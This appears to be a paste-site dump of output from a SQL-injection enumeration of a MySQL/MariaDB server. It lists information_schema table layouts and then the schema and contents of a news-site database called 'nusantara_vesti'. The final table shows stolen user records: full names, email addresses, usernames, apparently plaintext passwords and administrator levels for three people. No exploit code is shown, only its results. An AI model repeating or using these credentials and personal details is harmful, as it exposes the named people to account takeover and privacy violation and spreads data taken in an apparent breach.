- | BYTES_SENT | bigint(21) unsigned |
- | COMMIT_TRANSACTIONS | bigint(21) unsigned |
- | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
- | CONNECTED_TIME | bigint(21) unsigned |
- | CPU_TIME | bigint(21) unsigned |
- | DENIED_CONNECTIONS | bigint(21) unsigned |
- | EMPTY_QUERIES | bigint(21) unsigned |
- | LOST_CONNECTIONS | bigint(21) unsigned |
- | OTHER_COMMANDS | bigint(21) unsigned |
- | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
- | ROWS_FETCHED | bigint(21) unsigned |
- | ROWS_UPDATED | bigint(21) unsigned |
- | SELECT_COMMANDS | bigint(21) unsigned |
- | TABLE_ROWS_READ | bigint(21) unsigned |
- | TOTAL_CONNECTIONS | bigint(21) unsigned |
- | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
- | UPDATE_COMMANDS | bigint(21) unsigned |
- +------------------------+---------------------+
- Database: information_schema
- Table: INNODB_CMP_RESET
- [6 columns]
- +-----------------+---------+
- | Column | Type |
- +-----------------+---------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | page_size | int(5) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+---------+
- Database: information_schema
- Table: INNODB_SYS_TABLESPACES
- [11 columns]
- +----------------+---------------------+
- | Column | Type |
- +----------------+---------------------+
- | SPACE | int(11) unsigned |
- | ALLOCATED_SIZE | bigint(21) unsigned |
- | FILE_FORMAT | varchar(10) |
- | FILE_SIZE | bigint(21) unsigned |
- | FLAG | int(11) unsigned |
- | FS_BLOCK_SIZE | int(11) unsigned |
- | NAME | varchar(655) |
- | PAGE_SIZE | int(11) unsigned |
- | ROW_FORMAT | varchar(22) |
- | SPACE_TYPE | varchar(10) |
- | ZIP_PAGE_SIZE | int(11) unsigned |
- +----------------+---------------------+
- Database: information_schema
- Table: COLLATIONS
- [6 columns]
- +--------------------+-------------+
- | Column | Type |
- +--------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- | ID | bigint(11) |
- | IS_COMPILED | varchar(3) |
- | IS_DEFAULT | varchar(3) |
- | SORTLEN | bigint(3) |
- +--------------------+-------------+
- Database: information_schema
- Table: REFERENTIAL_CONSTRAINTS
- [11 columns]
- +---------------------------+--------------+
- | Column | Type |
- +---------------------------+--------------+
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | DELETE_RULE | varchar(64) |
- | MATCH_OPTION | varchar(64) |
- | REFERENCED_TABLE_NAME | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | UNIQUE_CONSTRAINT_CATALOG | varchar(512) |
- | UNIQUE_CONSTRAINT_NAME | varchar(64) |
- | UNIQUE_CONSTRAINT_SCHEMA | varchar(64) |
- | UPDATE_RULE | varchar(64) |
- +---------------------------+--------------+
- Database: information_schema
- Table: PROCESSLIST
- [11 columns]
- +---------------+---------------------+
- | Column | Type |
- +---------------+---------------------+
- | TIME | int(7) |
- | USER | varchar(32) |
- | COMMAND | varchar(16) |
- | DB | varchar(64) |
- | HOST | varchar(64) |
- | ID | bigint(21) unsigned |
- | INFO | longtext |
- | ROWS_EXAMINED | bigint(21) unsigned |
- | ROWS_SENT | bigint(21) unsigned |
- | STATE | varchar(64) |
- | TIME_MS | bigint(21) |
- +---------------+---------------------+
- Database: information_schema
- Table: PROFILING
- [18 columns]
- +---------------------+--------------+
- | Column | Type |
- +---------------------+--------------+
- | BLOCK_OPS_IN | int(20) |
- | BLOCK_OPS_OUT | int(20) |
- | CONTEXT_INVOLUNTARY | int(20) |
- | CONTEXT_VOLUNTARY | int(20) |
- | CPU_SYSTEM | decimal(9,6) |
- | CPU_USER | decimal(9,6) |
- | DURATION | decimal(9,6) |
- | MESSAGES_RECEIVED | int(20) |
- | MESSAGES_SENT | int(20) |
- | PAGE_FAULTS_MAJOR | int(20) |
- | PAGE_FAULTS_MINOR | int(20) |
- | QUERY_ID | int(20) |
- | SEQ | int(20) |
- | SOURCE_FILE | varchar(20) |
- | SOURCE_FUNCTION | varchar(30) |
- | SOURCE_LINE | int(20) |
- | STATE | varchar(30) |
- | SWAPS | int(20) |
- +---------------------+--------------+
- Database: information_schema
- Table: XTRADB_READ_VIEW
- [3 columns]
- +--------------------------------+-------------+
- | Column | Type |
- +--------------------------------+-------------+
- | READ_VIEW_LOW_LIMIT_TRX_ID | varchar(18) |
- | READ_VIEW_LOW_LIMIT_TRX_NUMBER | varchar(18) |
- | READ_VIEW_UPPER_LIMIT_TRX_ID | varchar(18) |
- +--------------------------------+-------------+
- Database: information_schema
- Table: INNODB_CMP
- [6 columns]
- +-----------------+---------+
- | Column | Type |
- +-----------------+---------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | page_size | int(5) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+---------+
- Database: information_schema
- Table: INNODB_FT_DELETED
- [1 column]
- +--------+---------------------+
- | Column | Type |
- +--------+---------------------+
- | DOC_ID | bigint(21) unsigned |
- +--------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_TABLESTATS
- [9 columns]
- +-------------------+---------------------+
- | Column | Type |
- +-------------------+---------------------+
- | AUTOINC | bigint(21) unsigned |
- | CLUST_INDEX_SIZE | bigint(21) unsigned |
- | MODIFIED_COUNTER | bigint(21) unsigned |
- | NAME | varchar(193) |
- | NUM_ROWS | bigint(21) unsigned |
- | OTHER_INDEX_SIZE | bigint(21) unsigned |
- | REF_COUNT | int(11) |
- | STATS_INITIALIZED | varchar(193) |
- | TABLE_ID | bigint(21) unsigned |
- +-------------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_FIELDS
- [3 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | INDEX_ID | bigint(21) unsigned |
- | NAME | varchar(193) |
- | POS | int(11) unsigned |
- +----------+---------------------+
- Database: information_schema
- Table: INNODB_LOCK_WAITS
- [4 columns]
- +-------------------+-------------+
- | Column | Type |
- +-------------------+-------------+
- | blocking_lock_id | varchar(81) |
- | blocking_trx_id | varchar(18) |
- | requested_lock_id | varchar(81) |
- | requesting_trx_id | varchar(18) |
- +-------------------+-------------+
- Database: information_schema
- Table: TEMPORARY_TABLES
- [11 columns]
- +----------------+---------------------+
- | Column | Type |
- +----------------+---------------------+
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | DATA_LENGTH | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | NAME | varchar(512) |
- | SESSION_ID | bigint(4) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | UPDATE_TIME | datetime |
- +----------------+---------------------+
- Database: information_schema
- Table: GLOBAL_TEMPORARY_TABLES
- [11 columns]
- +----------------+---------------------+
- | Column | Type |
- +----------------+---------------------+
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | DATA_LENGTH | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | NAME | varchar(512) |
- | SESSION_ID | bigint(4) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | UPDATE_TIME | datetime |
- +----------------+---------------------+
- Database: information_schema
- Table: TABLES
- [21 columns]
- +-----------------+---------------------+
- | Column | Type |
- +-----------------+---------------------+
- | VERSION | bigint(21) unsigned |
- | AUTO_INCREMENT | bigint(21) unsigned |
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_OPTIONS | varchar(255) |
- | CREATE_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | ROW_FORMAT | varchar(20) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_COLLATION | varchar(32) |
- | TABLE_COMMENT | varchar(2048) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLE_TYPE | varchar(64) |
- | UPDATE_TIME | datetime |
- +-----------------+---------------------+
- Database: information_schema
- Table: INNODB_FT_DEFAULT_STOPWORD
- [1 column]
- +--------+-------------+
- | Column | Type |
- +--------+-------------+
- | value | varchar(18) |
- +--------+-------------+
- Database: information_schema
- Table: STATISTICS
- [16 columns]
- +---------------+---------------+
- | Column | Type |
- +---------------+---------------+
- | COLLATION | varchar(1) |
- | CARDINALITY | bigint(21) |
- | COLUMN_NAME | varchar(64) |
- | COMMENT | varchar(16) |
- | INDEX_COMMENT | varchar(1024) |
- | INDEX_NAME | varchar(64) |
- | INDEX_SCHEMA | varchar(64) |
- | INDEX_TYPE | varchar(16) |
- | NON_UNIQUE | bigint(1) |
- | NULLABLE | varchar(3) |
- | PACKED | varchar(10) |
- | SEQ_IN_INDEX | bigint(2) |
- | SUB_PART | bigint(3) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +---------------+---------------+
- Database: information_schema
- Table: INNODB_SYS_TABLES
- [9 columns]
- +---------------+---------------------+
- | Column | Type |
- +---------------+---------------------+
- | SPACE | int(11) |
- | FILE_FORMAT | varchar(10) |
- | FLAG | int(11) |
- | N_COLS | int(11) |
- | NAME | varchar(655) |
- | ROW_FORMAT | varchar(12) |
- | SPACE_TYPE | varchar(10) |
- | TABLE_ID | bigint(21) unsigned |
- | ZIP_PAGE_SIZE | int(11) unsigned |
- +---------------+---------------------+
- Database: information_schema
- Table: INNODB_CHANGED_PAGES
- [4 columns]
- +-----------+---------------------+
- | Column | Type |
- +-----------+---------------------+
- | end_lsn | bigint(21) unsigned |
- | page_id | int(11) unsigned |
- | space_id | int(11) unsigned |
- | start_lsn | bigint(21) unsigned |
- +-----------+---------------------+
- Database: information_schema
- Table: VIEWS
- [10 columns]
- +----------------------+--------------+
- | Column | Type |
- +----------------------+--------------+
- | CHARACTER_SET_CLIENT | varchar(32) |
- | CHECK_OPTION | varchar(8) |
- | COLLATION_CONNECTION | varchar(32) |
- | DEFINER | varchar(93) |
- | IS_UPDATABLE | varchar(3) |
- | SECURITY_TYPE | varchar(7) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- | VIEW_DEFINITION | longtext |
- +----------------------+--------------+
- Database: information_schema
- Table: KEY_COLUMN_USAGE
- [12 columns]
- +-------------------------------+--------------+
- | Column | Type |
- +-------------------------------+--------------+
- | COLUMN_NAME | varchar(64) |
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | ORDINAL_POSITION | bigint(10) |
- | POSITION_IN_UNIQUE_CONSTRAINT | bigint(10) |
- | REFERENCED_COLUMN_NAME | varchar(64) |
- | REFERENCED_TABLE_NAME | varchar(64) |
- | REFERENCED_TABLE_SCHEMA | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +-------------------------------+--------------+
- Database: information_schema
- Table: TRIGGERS
- [22 columns]
- +----------------------------+---------------+
- | Column | Type |
- +----------------------------+---------------+
- | ACTION_CONDITION | longtext |
- | ACTION_ORDER | bigint(4) |
- | ACTION_ORIENTATION | varchar(9) |
- | ACTION_REFERENCE_NEW_ROW | varchar(3) |
- | ACTION_REFERENCE_NEW_TABLE | varchar(64) |
- | ACTION_REFERENCE_OLD_ROW | varchar(3) |
- | ACTION_REFERENCE_OLD_TABLE | varchar(64) |
- | ACTION_STATEMENT | longtext |
- | ACTION_TIMING | varchar(6) |
- | CHARACTER_SET_CLIENT | varchar(32) |
- | COLLATION_CONNECTION | varchar(32) |
- | CREATED | datetime(2) |
- | DATABASE_COLLATION | varchar(32) |
- | DEFINER | varchar(93) |
- | EVENT_MANIPULATION | varchar(6) |
- | EVENT_OBJECT_CATALOG | varchar(512) |
- | EVENT_OBJECT_SCHEMA | varchar(64) |
- | EVENT_OBJECT_TABLE | varchar(64) |
- | SQL_MODE | varchar(8192) |
- | TRIGGER_CATALOG | varchar(512) |
- | TRIGGER_NAME | varchar(64) |
- | TRIGGER_SCHEMA | varchar(64) |
- +----------------------------+---------------+
- Database: information_schema
- Table: INNODB_SYS_DATAFILES
- [2 columns]
- +--------+------------------+
- | Column | Type |
- +--------+------------------+
- | PATH | varchar(4000) |
- | SPACE | int(11) unsigned |
- +--------+------------------+
- Database: information_schema
- Table: SCHEMA_PRIVILEGES
- [5 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(81) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: SESSION_VARIABLES
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: XTRADB_RSEG
- [8 columns]
- +--------------------+---------------------+
- | Column | Type |
- +--------------------+---------------------+
- | curr_size | bigint(21) unsigned |
- | is_compressed | tinyint(1) unsigned |
- | logical_page_size | bigint(21) unsigned |
- | max_size | bigint(21) unsigned |
- | page_no | bigint(21) unsigned |
- | physical_page_size | bigint(21) unsigned |
- | rseg_id | bigint(21) unsigned |
- | space_id | bigint(21) unsigned |
- +--------------------+---------------------+
- Database: information_schema
- Table: GLOBAL_STATUS
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: INNODB_FT_CONFIG
- [2 columns]
- +--------+--------------+
- | Column | Type |
- +--------+--------------+
- | KEY | varchar(193) |
- | VALUE | varchar(193) |
- +--------+--------------+
- Database: information_schema
- Table: XTRADB_ZIP_DICT
- [3 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | id | bigint(21) unsigned |
- | name | varchar(64) |
- | zip_dict | blob |
- +----------+---------------------+
- Database: information_schema
- Table: INNODB_TRX
- [24 columns]
- +----------------------------+---------------------+
- | Column | Type |
- +----------------------------+---------------------+
- | trx_adaptive_hash_latched | int(1) |
- | trx_adaptive_hash_timeout | bigint(21) unsigned |
- | trx_autocommit_non_locking | int(1) |
- | trx_concurrency_tickets | bigint(21) unsigned |
- | trx_foreign_key_checks | int(1) |
- | trx_id | varchar(18) |
- | trx_is_read_only | int(1) |
- | trx_isolation_level | varchar(16) |
- | trx_last_foreign_key_error | varchar(256) |
- | trx_lock_memory_bytes | bigint(21) unsigned |
- | trx_lock_structs | bigint(21) unsigned |
- | trx_mysql_thread_id | bigint(21) unsigned |
- | trx_operation_state | varchar(64) |
- | trx_query | varchar(1024) |
- | trx_requested_lock_id | varchar(81) |
- | trx_rows_locked | bigint(21) unsigned |
- | trx_rows_modified | bigint(21) unsigned |
- | trx_started | datetime |
- | trx_state | varchar(13) |
- | trx_tables_in_use | bigint(21) unsigned |
- | trx_tables_locked | bigint(21) unsigned |
- | trx_unique_checks | int(1) |
- | trx_wait_started | datetime |
- | trx_weight | bigint(21) unsigned |
- +----------------------------+---------------------+
- Database: information_schema
- Table: THREAD_STATISTICS
- [22 columns]
- +------------------------+---------------------+
- | Column | Type |
- +------------------------+---------------------+
- | ACCESS_DENIED | bigint(21) unsigned |
- | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
- | BUSY_TIME | bigint(21) unsigned |
- | BYTES_RECEIVED | bigint(21) unsigned |
- | BYTES_SENT | bigint(21) unsigned |
- | COMMIT_TRANSACTIONS | bigint(21) unsigned |
- | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
- | CONNECTED_TIME | bigint(21) unsigned |
- | CPU_TIME | bigint(21) unsigned |
- | DENIED_CONNECTIONS | bigint(21) unsigned |
- | EMPTY_QUERIES | bigint(21) unsigned |
- | LOST_CONNECTIONS | bigint(21) unsigned |
- | OTHER_COMMANDS | bigint(21) unsigned |
- | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
- | ROWS_FETCHED | bigint(21) unsigned |
- | ROWS_UPDATED | bigint(21) unsigned |
- | SELECT_COMMANDS | bigint(21) unsigned |
- | TABLE_ROWS_READ | bigint(21) unsigned |
- | THREAD_ID | bigint(21) unsigned |
- | TOTAL_CONNECTIONS | bigint(21) unsigned |
- | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
- | UPDATE_COMMANDS | bigint(21) unsigned |
- +------------------------+---------------------+
- Database: information_schema
- Table: INNODB_BUFFER_PAGE
- [20 columns]
- +---------------------+---------------------+
- | Column | Type |
- +---------------------+---------------------+
- | SPACE | bigint(21) unsigned |
- | ACCESS_TIME | bigint(21) unsigned |
- | BLOCK_ID | bigint(21) unsigned |
- | COMPRESSED_SIZE | bigint(21) unsigned |
- | DATA_SIZE | bigint(21) unsigned |
- | FIX_COUNT | bigint(21) unsigned |
- | FLUSH_TYPE | bigint(21) unsigned |
- | FREE_PAGE_CLOCK | bigint(21) unsigned |
- | INDEX_NAME | varchar(1024) |
- | IO_FIX | varchar(64) |
- | IS_HASHED | varchar(3) |
- | IS_OLD | varchar(3) |
- | NEWEST_MODIFICATION | bigint(21) unsigned |
- | NUMBER_RECORDS | bigint(21) unsigned |
- | OLDEST_MODIFICATION | bigint(21) unsigned |
- | PAGE_NUMBER | bigint(21) unsigned |
- | PAGE_STATE | varchar(64) |
- | PAGE_TYPE | varchar(64) |
- | POOL_ID | bigint(21) unsigned |
- | TABLE_NAME | varchar(1024) |
- +---------------------+---------------------+
- Database: information_schema
- Table: TABLE_STATISTICS
- [5 columns]
- +------------------------+---------------------+
- | Column | Type |
- +------------------------+---------------------+
- | ROWS_CHANGED | bigint(21) unsigned |
- | ROWS_CHANGED_X_INDEXES | bigint(21) unsigned |
- | ROWS_READ | bigint(21) unsigned |
- | TABLE_NAME | varchar(192) |
- | TABLE_SCHEMA | varchar(192) |
- +------------------------+---------------------+
- Database: information_schema
- Table: TABLE_PRIVILEGES
- [6 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(81) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: INNODB_CMPMEM_RESET
- [6 columns]
- +----------------------+------------+
- | Column | Type |
- +----------------------+------------+
- | buffer_pool_instance | int(11) |
- | page_size | int(5) |
- | pages_free | int(11) |
- | pages_used | int(11) |
- | relocation_ops | bigint(21) |
- | relocation_time | int(11) |
- +----------------------+------------+
- Database: information_schema
- Table: XTRADB_ZIP_DICT_COLS
- [3 columns]
- +------------+---------------------+
- | Column | Type |
- +------------+---------------------+
- | column_pos | bigint(21) unsigned |
- | dict_id | bigint(21) unsigned |
- | table_id | bigint(21) unsigned |
- +------------+---------------------+
- Database: nusantara_vesti
- Table: userlevels
- [2 columns]
- +---------------+-------------+
- | Column | Type |
- +---------------+-------------+
- | UserLevelID | int(11) |
- | UserLevelName | varchar(50) |
- +---------------+-------------+
- Database: nusantara_vesti
- Table: userlevelpermissions
- [3 columns]
- +---------------------+-------------+
- | Column | Type |
- +---------------------+-------------+
- | UserLevelID | int(11) |
- | UserLevelPermission | int(11) |
- | UserLevelTableName | varchar(50) |
- +---------------------+-------------+
- Database: nusantara_vesti
- Table: users
- [7 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | Email | varchar(50) |
- | IDU | int(11) |
- | Ime | varchar(255) |
- | Password | varchar(16) |
- | Prezime | varchar(255) |
- | UserLevel | int(11) |
- | Username | varchar(15) |
- +-----------+--------------+
- Database: nusantara_vesti
- Table: vest
- [8 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | DateStamp | timestamp |
- | DatumV | date |
- | IDV | int(11) |
- | NaslovE | varchar(200) |
- | NaslovS | varchar(200) |
- | VaziV | tinyint(4) |
- | VestE | text |
- | VestS | text |
- +-----------+--------------+
- Database: nusantara_vesti
- Table: userlevels
- [3 entries]
- +-------------+---------------+
- | UserLevelID | UserLevelName |
- +-------------+---------------+
- | -1 | Administrator |
- | 0 | Default |
- | 2 | Unos |
- +-------------+---------------+
- Database: nusantara_vesti
- Table: userlevelpermissions
- [8 entries]
- +-------------+--------------------+---------------------+
- | UserLevelID | UserLevelTableName | UserLevelPermission |
- +-------------+--------------------+---------------------+
- | 0 | Users | 0 |
- | 0 | Vest | 0 |
- | 0 | Vesti SR | 0 |
- | 0 | Vesti ENG | 0 |
- | 2 | vest | 0 |
- | 2 | users | 0 |
- | 2 | Vesti SR | 15 |
- | 2 | Vesti ENG | 15 |
- +-------------+--------------------+---------------------+
- Database: nusantara_vesti
- Table: users
- [3 entries]
- +-----+-------+-------------------------+----------+----------+------------------+-----------+
- | IDU | Ime | Email | Prezime | Username | Password | UserLevel |
- +-----+-------+-------------------------+----------+----------+------------------+-----------+
- | 1 | Ivan | ivan@lifestardesign.com | Lukia | ivan | bZP2x2od7Q!!0TGn | -1 |
- | 2 | Ida | idabrozovic@gmail.com | Brozovia | ida | bZP2x2od7Q!!0TGn | -1 |
- | 3 | Irena | il.office@gmail.com | Lukic | irena | staJe539.}[!JowR | 0 |
- +-----+-------+-------------------------+----------+----------+------------------+-----------+
Add Comment
Please, Sign In to add comment